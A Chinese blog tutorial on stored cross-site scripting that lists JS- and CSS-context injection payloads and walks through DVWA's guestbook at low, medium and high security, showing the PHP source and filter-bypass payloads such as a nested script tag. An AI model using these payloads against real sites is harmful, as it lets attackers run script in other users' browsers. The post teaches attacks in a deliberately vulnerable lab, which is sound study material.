存储型 XSS

存储型XSS

XSS***的用处

093641850.png

JS-Context存储型XSS:
1、</script>闭合当前脚本,然后输入自定义内容。

093644170.png

过滤<,>,/
替换</script>为</’+’script>(网易邮箱)
2、根据JS上下文,构造正确的闭合。

093646523.png

根据实际情况,进行过滤。通常输出是字符串,在’和"之间,过滤’,"即可

093648986.png

和<script>中的XSS一样,过滤’和"
而实际上,在HTML的属性里,&#NNN;或&#xNN;也是可以被执行的!

093650104.png

进一步构造利用代码

093653537.png

还需要将&过滤为&amp;


CSS-Context存储型XSS
除了<style>….</style>中可以被写入CSS数据之外,还有其它位置也可以:

1.
<divstyle="width:if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:ex\pression(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:ex/**/pression(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:express\69on(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:express\69on(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="w&#105;dth:express&#x0069;on(if(!w&#x69;ndow.x){alert(1);w&#x069;ndow.x=1})"></div>
2.
<linkrel=stylesheethref=data:,*%7bx:if(!window.x)%7balert(1);window.x=1%7d)%7d/>
3.
<style>@import"data:,*%7bx:if(!window.x)%7balert(1);window.x=1%7d)%7D";</style>
4.
<divstyle="font-family:foo}x=if(!window.x){alert(1);window.x=1});">XXX</div>
5.



下面我们在看一下在DVWA里面存储型的XSS漏洞的各种级别和代码的应用
在dvwa里存储型的xss的使用实在留言板里面实现,只需要在留言板输入利用的代码就可以


low级代码

01<?php
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=stripslashes($message);
11$message=mysql_real_escape_string($message);
12
13//Sanitizenameinput
14$name=mysql_real_escape_string($name);
15
16$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
17
18$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
19
20}
21
22?>


我们输入
<script>alert('xss')</script>

093655215.png

093658895.png

另外有一点挺有意思,在输入name时会发现有字数的限制,但php中并没有判断name的长度
所以修改客户端html就可以删除这个限制,看代码

093701370.png

medium级代码

01<?php
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=trim(strip_tags(addslashes($message)));
11$message=mysql_real_escape_string($message);
12$message=htmlspecialchars($message);
13
14//Sanitizenameinput
15$name=str_replace('<script>','',$name);
16$name=mysql_real_escape_string($name);
17
18$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
19
20$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
21
22}
23
24?>

这里可以看到$name的过滤比较简单,那么就从他下手,用到了str_replace()函数,这个很好绕过吧

<<script>script>alert('123');</script>

不要说有长度限制,只要修改一下客户端html在提交就可以了




high级代码

01
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=stripslashes($message);
11$message=mysql_real_escape_string($message);
12$message=htmlspecialchars($message);
13
14//Sanitizenameinput
15$name=stripslashes($name);
16$name=mysql_real_escape_string($name);
17$name=htmlspecialchars($name);
18
19$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
20
21$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
22
23}
24
25?>


对于high级的代码,我们看到它同样使用了htmlspecialchars()函数,大家可以找方法绕过去!


文章中有许多的不足之处,XSS也无法一一都详细说明,有自己观点可以给我提出,谢谢!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值